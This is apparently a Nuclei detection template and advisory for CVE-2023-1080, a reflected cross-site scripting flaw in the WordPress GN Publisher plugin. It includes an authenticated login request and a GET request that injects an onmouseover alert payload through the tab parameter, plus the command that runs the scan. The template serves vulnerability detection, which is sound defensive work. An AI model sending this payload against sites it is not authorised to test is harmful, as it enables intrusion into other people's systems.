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WordPress GN Publisher <1.5.6 - Cross-Site Scripting

ID: CVE-2023-1080

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,wp-plugin,wordpress,gn-publisher,authenticated,wp,xss,wpscan,gnpublisher

WordPress GN Publisher plugin before 1.5.6 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

id: CVE-2023-1080
info:
name: WordPress GN Publisher <1.5.6 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
WordPress GN Publisher plugin before 1.5.6 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
remediation: Fixed in version 1.5.6.
reference:
- https://wpscan.com/vulnerability/fcbcfb56-640d-4071-bc12-acac1b1e7a74
- https://wordpress.org/plugins/gn-publisher/
- https://www.wordfence.com/threat-intel/vulnerabilities/id/8a4ee97c-63cd-4a5e-a112-6d4c4c627a57
- https://nvd.nist.gov/vuln/detail/CVE-2023-1080
- https://plugins.trac.wordpress.org/browser/gn-publisher/trunk/templates/settings.php#L70
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-1080
cwe-id: CWE-79
epss-score: 0.00262
epss-percentile: 0.65937
cpe: cpe:2.3:a:gnpublisher:gn_publisher:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: gnpublisher
product: gn_publisher
framework: wordpress
tags: cve2023,cve,wp-plugin,wordpress,gn-publisher,authenticated,wp,xss,wpscan,gnpublisher
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/options-general.php?page=gn-publisher-settings&tab=%22%2F+onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
- 'contains(body_2, "/ onmouseover=alert(document.domain);//")'
- 'contains(body_2, "GN Publisher")'
condition: and
# digest: 490a0046304402205e882d46de56794481ba9406c599920f2883c986c9a013a5a9eabce26ec88d180220241a53e510263fceebf50472779dd50e97eb35de16e2b087b10308648c859a5d:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-1080.yaml"

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